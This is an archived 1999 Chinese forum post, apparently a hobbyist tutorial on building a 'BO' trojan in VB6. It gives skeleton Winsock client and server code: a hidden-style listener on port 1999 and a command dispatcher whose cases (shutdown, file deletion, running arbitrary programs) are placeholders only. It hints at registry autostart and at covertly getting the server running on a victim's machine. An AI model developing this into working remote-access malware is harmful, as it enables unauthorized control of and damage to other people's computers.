精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇网络安全◇>>小技巧>>用VB6.0编写BO程序含代码

主题:用VB6.0编写BO程序含代码
发信人: williamlong()
整理人: williamlong(1999-12-21 19:58:30), 站内信件



上海船舶电子设备研究所 洪杭迪  


---- BO又称“特洛伊木马”, 是在美国一次黑客技术讨论会上由一个黑客组织
 
推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动
 
运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的
 
计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。
 
下面来谈谈如何用VB来实现它。  

---- 使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序sys
 
try。  

---- 在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选
 
择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个
 
按钮,按下之后就可以对连接进行初始化了,代码如下:  

Private Sub cmdConnect_Click() 
    If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then 
        MsgBox ("请输入主机名或主机IP地址。") 
        Exit Sub 
      Else 
        If Len(Text1.Text) > 0 Then 
            tcpClient.RemoteHost = Text1.Text 
          Else 
            tcpClient.RemoteHost = Text2.Text 
        End If 
    End If 
    tcpClient.Connect 
    Timer1.Enabled = True     
End Sub 

---- 连接建立之后就可以使用DataArrival事件处理所收到的数据了。  
---- 在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServe
 
r,协议选择TCP,在Form_Load事件中加入如下代码:  

Private Sub Form_Load() 
    tcpServer.LocalPort = 1999 
    tcpServer.Listen 
End Sub 

---- 准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端
 
程序的请求,代码如下:  
Private Sub tcpServer_ConnectionRequest 
(ByVal requestID As Long) 
     If tcpServer.State < > sckClosed Then 
        tcpServer.Close‘检查控件的 State 属性是否为关闭的。 
     End If     '如果不是,在接受新的连接之前先关闭此连接。 
     tcpServer.Accept requestID 
End Sub 


---- 这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest
 
事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。  
---- 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的
 
指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户
 
机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文
 
件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;
 
按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器
 
端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止
 
远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交
 
换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创
 
建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事
 
件程序如下:  

Private Sub tcpServer_DataArrival 
(ByVal bytesTotal As Long) 
    Dim strData As String 
    Dim i As Long 
    Dim mKey As String 
    tcpServer.GetData strData    
‘接收数据并存入strData 
    For i = 1 To Len(strData)   
 ‘分离strData中的命令 
  If Mid(strData, i, 1) = "@" Then 
   mKey = Left(strData, i - 1)  
‘把命令ID号存入mKey 
         
 ‘把命令参数存入strData    
strData = Right(strData, Len(strData) - i)  
            Exit For 
         End If 
     Next i     
    Select Case Val(mKey) 
        Case 1 
            ‘驱动器名、目录名、文件名 
        Case 2 
            强制关闭服务器端的计算机 
        Case 3 
            强制重启服务器端的计算机 
        Case 4 
            屏蔽任务栏窗口; 
        Case 5 
            屏蔽开始菜单;  
        Case 6 
            按照客户机端传过来的文件名或目录名,而删除它;  
        Case 7 
            屏蔽热启动键; 
        Case 8 
            运行服务器端的任何程序  
    End Select     
End Sub 
详细程序略。 

---- 客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们
 
用符号“@”隔开。  
---- 另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Clo
 
se事件,来继续准备接收客户机端的请求,其代码如下:  

Private Sub tcpServer_Close() 
    tcpServer.Close 
    tcpServer.Listen 
End Sub 

---- 这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,
 
那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发
 
挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。  


---- 成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传
 
播等问题要解决。警告:千万不要用BO程序破坏别人的系统。  


--
                                                
  
  ☆ 蓝色月光 ☆  http://williamlong.163.net  
  
                                              

※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: bbs.szptt.net.c]

[关闭][返回]